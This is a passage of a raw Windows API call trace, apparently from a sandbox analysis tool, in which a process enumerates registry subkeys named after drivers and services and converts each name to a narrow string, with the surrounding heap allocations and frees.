CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0234.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.761] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0234.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0234.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.761] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0234.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0234.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.762] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.762] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.762] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.762] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0234.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0234.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0234.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.766] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.766] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.766] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0234.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 